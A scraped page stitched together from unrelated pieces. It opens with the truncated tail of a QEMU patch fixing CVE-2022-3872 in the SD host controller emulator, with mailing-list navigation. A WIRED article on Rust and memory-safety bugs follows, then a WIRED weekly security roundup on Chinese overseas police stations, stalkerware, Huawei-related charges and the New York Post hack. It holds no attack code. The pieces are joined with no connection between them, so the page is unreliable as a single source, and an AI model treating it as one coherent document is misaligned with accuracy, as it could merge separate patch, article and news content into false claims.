+    if (s->data\_count >= (s->blksize & BLOCK\_SIZE\_MASK)) {
+        s->data\_count = 0;
+    }
+
     if ((s->data\_count & 0x3) != byte\_num) {
         trace\_sdhci\_error("Non-sequential access to Buffer Data Port register"
                           "is prohibited\\n");
-- 
2.38.1

*   **\[PATCH\] hw/sd/sdhci: reset data count in sdhci\_buff\_access\_is\_sequential()**, _Mauro Matteo Cascella_ **<=**
    *   **Re: \[PATCH\] hw/sd/sdhci: reset data count in sdhci\_buff\_access\_is\_sequential()**, _Mauro Matteo Cascella_, 2022/11/07
    *   **Re: \[PATCH\] hw/sd/sdhci: reset data count in sdhci\_buff\_access\_is\_sequential()**, _Philippe Mathieu-Daudé_, 2022/11/07

*   Prev by Date: **Re: \[PATCH v2 0/6\] Two -Wclobbered fixes, plus other cleanup**
*   Next by Date: **Re: \[PATCH 3/3\] qemu-img: Speed up checksum**
*   Previous by thread: **Re: \[PATCH 1/3\] qemu-img: Add checksum command**
*   Next by thread: **Re: \[PATCH\] hw/sd/sdhci: reset data count in sdhci\_buff\_access\_is\_sequential()**
*   Index(es):
    *   **Date**
    *   **Thread**

CVE-2022-3872: [PATCH] hw/sd/sdhci: reset data count in sdhci_buff_access_is_sequential

Rust makes it impossible to introduce some of the most common security vulnerabilities. And its adoption can’t come soon enough.

Whether you run IT for a massive organization or simply own a smartphone, you're intimately familiar with the unending stream of software updates that constantly need to be installed because of bugs and security vulnerabilities. People make mistakes, so code is inevitably going to contain mistakes—you get it. But a growing movement to write software in a language called Rust is gaining momentum because the code is goof-proof in an important way. By design, developers can't accidentally create the most common types of exploitable security vulnerabilities when they're coding in Rust, a distinction that could make a huge difference in the daily patch parade and ultimately the world's baseline cybersecurity.

There are fads in programming languages, and new ones come and go, often without lasting impact. Now 12 years old, Rust took time to mature from the side project of a Mozilla researcher into a robust ecosystem. Meanwhile, the predecessor language C, which is still widely used today, turned 50 this year. But because Rust produces more secure code and, crucially, doesn't worsen performance to do it, the language has been steadily gaining adherents and now is at a turning point. Microsoft, Google, and Amazon Web Services have all been utilizing Rust since 2019, and the three companies formed the nonprofit Rust Foundation with Mozilla and Huawei in 2020 to sustain and grow the language. And after a couple of years of intensive work, the Linux kernel took its first steps last month to implement Rust support.

“It’s going viral as a language,” says Dave Kleidermacher, vice president of engineering for Android security and privacy. “We’ve been investing in Rust on Android and across Google, and so many engineers are like, ‘How do I start doing this? This is great.’ And Rust just landed for the first time as an officially recognized and accepted language in Linux. So this is not just Android; any system based on Linux now can start to incorporate Rust components.”

Rust is what's known as a “memory-safe” language because it's designed to make it impossible for a program to pull unintended data from a computer's memory accidentally. When programmers use stalwart languages that don't have this property, including C and C++, they have to carefully check the parameters of what data their program is going to be requesting and how—a task that even the most skilled and experienced developers will occasionally botch. By writing new software in Rust instead, even amateur programmers can be confident that they haven't introduced any memory-safety bugs into their code.

A program's memory is a shared resource used by all of its features and libraries. Imagine a calendar program written in a language that isn't memory-safe. You open your calendar and then request entries for November 2, 2022, and the program fetches all information from the area of your computer's memory assigned to store that date’s data. All good. But if the program isn't designed with the right constraints, and you request entries for November 42, 2022, the software, instead of producing an error or other failure, may dutifully return information from a part of the memory that's housing different data—maybe the password you use to protect your calendar or the credit card number you keep on file for premium calendar features. And if you add a birthday party to your calendar on November 42, it may overwrite unrelated data in memory instead of telling you that it can't complete the task. These are known as “out-of-bounds” read and write bugs, and you can see how they could potentially be exploited to give an attacker improper access to data or even expanded system control.

Another common type of memory-safety bug, known as “use-after-free,” involves a situation where a program has given up its claim to a portion of memory (maybe you deleted all your calendar entries for October 2022) but mistakenly retains access. If you later request data from October 17, the program may be able to grab whatever data has ended up there. And the existence of memory-safety vulnerabilities in code also introduces the possibility that a hacker could craft, say, a malicious calendar invitation with a strategically chosen date or set of event details designed to manipulate the memory to grant the attacker remote access.

These types of vulnerabilities aren't just esoteric software bugs. Research and auditing have repeatedly found that they make up the majority of all software vulnerabilities. So while you can still make mistakes and create security flaws while programming in Rust, the opportunity to eliminate memory-safety vulnerabilities is significant.

“Memory-safety issues are responsible for a huge, huge percentage of all reported vulnerabilities, and this is in critical applications like operating systems, mobile phones, and infrastructure,” says Dan Lorenc, CEO of the software supply-chain security company Chainguard. “Over the decades that people have been writing code in memory-unsafe languages, we’ve tried to improve and build better tooling and teach people how to not make these mistakes, but there are just limits to how much telling people to try harder can actually work. So you need a new technology that just makes that entire class of vulnerabilities impossible, and that’s what Rust is finally bringing to the table.”

Rust is not without its skeptics and detractors. The effort over the last two years to implement Rust in Linux has been controversial, partly because adding support for any other language inherently increases complexity, and partly because of debates about how, specifically, to go about making it all work. But proponents emphasize that Rust has the necessary elements—it doesn't cause performance loss, and it interoperates well with software written in other languages—and that it is crucial simply because it meets a dire need.

“It’s less that it’s the right choice and more that it’s ready,” Lorenc, a longtime open-source contributor and researcher, says. “There are no real alternatives right now, other than not doing anything, and that’s just not an option anymore. Continuing to use memory-unsafe code for another decade would be a massive problem for the tech industry, for national security, for everything.”

One of the biggest challenges of the transition to Rust, though, is precisely all the decades that developers have already spent writing vital code in memory-unsafe languages. Writing new software in Rust doesn't address that massive backlog. The Linux kernel implementation, for example, is starting on the periphery by supporting Rust-based drivers, the programs that coordinate between an operating system and hardware like a printer.

“When you’re doing operating systems, speed and performance is always top-of-mind, and the parts that you’re running in C++ or C are usually the parts that you just can’t run in Java or other memory-safe languages, because of performance,” Google's Kleidermacher says. “So to be able to run Rust and have the same performance but get the memory safety is really cool. But it’s a journey. You can’t just go and rewrite 50 million lines of code overnight, so we’re carefully picking security-critical components, and over time we’ll retrofit other things.”

In Android, Kleidermacher says a lot of encryption-key-management features are now written in Rust, as is the private internet communication feature DNS over HTTPS, a new version of the ultra-wideband chip stack, and the new Android Virtualization Framework used in Google's custom Tensor G2 chips. He adds that the Android team is increasingly converting connectivity stacks like those for Bluetooth and Wi-Fi to Rust because they are based on complex industry standards and tend to contain a lot of vulnerabilities. In short, the strategy is to start getting incremental security benefits from converting the most exposed or vital software components to Rust first and then working inward from there. 

“Yes, it’s a lot of work, it will be a lot of work, but the tech industry has how many trillions of dollars, plus how many talented programmers? We have the resources," says Josh Aas, executive director of the Internet Security Research Group, which runs the memory-safety initiative Prossimo as well as the free certificate authority Let's Encrypt. “Problems that are merely a lot of work are great."

As Rust makes the transition to mainstream adoption, the case for some type of solution to memory-safety issues seems to get made again and again every day. Just this week, a high-criticality vulnerability in the ubiquitous secure communication library OpenSSL could have been prevented if the mechanism were written in a memory-safe language. And unlike the notorious 2014 OpenSSL vulnerability Heartbleed, which lurked unnoticed for two years and exposed websites across the internet to data interception attacks, this new bug had been introduced into OpenSSL in the past few months, in spite of efforts to reduce memory-safety vulnerabilities.

“How many people right now are living the identity-theft nightmare because of a memory-safety bug? Or on a national security level, if we’re worried about cyberattacks on the United States, how much of that threat is on the back of memory-safety vulnerabilities?” Aas says. “From my point of view, the whole game now is just convincing people to put in the effort. Do we understand the threat well enough, and do we have the will.”

The Rise of Rust, the ‘Viral’ Secure Programming Language That’s Taking Over Tech

Plus: The New York Post gets hacked, a huge stalkerware network is exposed, and the US claims China interfered with its Huawei probe.

For years, AlphaBay ruled the dark web. If you were in the market to buy drugs or stolen credit cards, the digital bazaar was the place to turn. At its peak, more than 350,000 products were listed for sale—an estimated 10 times the size of the notorious Silk Road market—and the website proved to be the ire of law enforcement the world round. That was until cops took AlphaBay offline in 2017.

This week, WIRED published the first in a six-part series detailing the hunt for Alpha02, the mastermind believed to be behind AlphaBay, and the huge international takedown operation that wiped the marketplace from the web. Each week, we’ll publish a new part of the series, excerpted from WIRED reporter Andy Greenberg’s new book, _Tracers in the Dark_.

Schools across the US have faced dozens of hoax calls about mass shootings in recent months. After a call is made, police scramble to the scene fearing the worst, only to find out there is no shooter. Now hoax phone call recordings obtained by WIRED and conversations with law enforcement officials reveal how the calls have been made and show that law enforcement officials are closing in on the alleged hoaxer. Police are looking for a male “with a heavy accent described as Middle Eastern or African” and have linked the phone calls to Ethiopia.

Elsewhere, a bug in Apple’s new macOS 13 Ventura operating system is causing problems for malware scanners and security monitoring tools. With the new software update, Apple accidentally crippled third-party security products in a way users may not notice. The company is planning to fix the bug in an upcoming software release.

We also looked at a newly discovered Chinese influence operation that is targeting US elections—although it is not having much success. And now that Elon Musk owns Twitter, here’s how you should think about your privacy and security on the bird website.

But wait, there’s more! Each week, we highlight the news we didn’t cover in-depth ourselves. Click on the headlines below to read the full stories. And stay safe out there.

Officials in Canada and the Netherlands are investigating allegations that Chinese police forces have operated a network of illegal police stations within their countries. According to reports that emerged this week, Chinese police forces have been operating out of clandestine bases and using their presence to track and threaten dissidents. The Dutch government has called such sites “illegal” and said it is “investigating exactly what they are doing here,” while officials in Canada said they are investigating “so-called ‘police’ stations.”

However, it is just the tip of the iceberg. Spanish civil rights group Safeguard Defenders first claimed that Chinese police forces from the cities of Fuzhou and Qingtian were running “overseas police service stations” across the West in a report published in September. Since 2018, the group claims, more than 38 police service stations have appeared in “dozens of countries” spread across five different continents. “Such overseas police ‘service stations’ have been used by police back in China to carry out such ‘persuasion to return’ operations on foreign soil, including in Europe,” the report states. Lawmakers in both England and Scotland are also planning on investigating the stations, reports say.

Chinese officials have not denied the existence of the service stations, but say they exist to provide bureaucratic services to Chinese citizens and don’t involve police operations. The Chinese embassy in Canada said the stations exist to allow Chinese citizens to complete tasks such as renewing their driving licenses: “The main purpose of the service station abroad is to provide free assistance to overseas Chinese citizens in this regard.”

If stalkerware is installed on your phone or laptop, the malicious software can send every tap, message, and photo back to the person who added it to your device. The software is often hard to find, and the insidious industry that creates it operates in the shadows. This week, a TechCrunch investigation revealed how a huge stalkerware network, with hundreds of thousands of victims, operates.

Leaked data obtained by TechCrunch shows TheTruthSpy stalkerware has been installed on more than 300,000 devices and has victims all around the world. Over a six-week period analyzed by the publication, more than 9,400 new devices were infected with the stalkerware. Thousands of calls, millions of text messages, and more than 470,000 photos and videos were collected by the app without its victims’ knowledge. And data was also likely collected from the phones of children. This tool can tell if your device was compromised.

A pair of Chinese intelligence officers attempted to bribe a US official involved in the criminal case against Huawei, the US Department of Justice claimed this week. Across three separate cases, the Justice Department charged 13 people with alleged efforts to “exert influence” in the US on behalf of the People’s Republic of China. The charges range from trying to disrupt the US government’s Huawei investigation to trying to recruit people as intelligence agents. Two people were also arrested for allegedly attempting to “cause the forced repatriation” of a Chinese national living in the US. “The actions announced today take place against a backdrop of malign activity from the government of the People’s Republic of China that includes espionage, attempts to disrupt our justice system, harassment of individuals, and ongoing efforts to steal sensitive US technology,” deputy attorney general Lisa O. Monaco said in a statement. In an unprecedented move in July, the head of the FBI and the UK’s MI5 made a joint public appearance to warn about the perceived threat from China, saying the nation is the biggest threat to economic and national security.

The website and Twitter account of the _New York Post_ were hacked this week. On Thursday, the publication’s Twitter account started sharing links to stories with offensive headlines and posts about politicians. US president Joe Biden, US representative Alexandria Ocasio-Cortez, and New York governor Kathy Hochul were all targeted. The _Post_, which is owned by News Corp, tweeted that it was investigating the incident, but very few details have been made public so far. In February this year, News Corp announced it had been hacked, with the attackers believed to have accessed journalists’ emails. The latest attack against the _Post_ echoes a recent hack of the business news website _Fast Company_. In September, the publication’s content management system (CMS) was breached and the attacker sent offensive push notifications to Apple News subscribers.

Tag

#huawei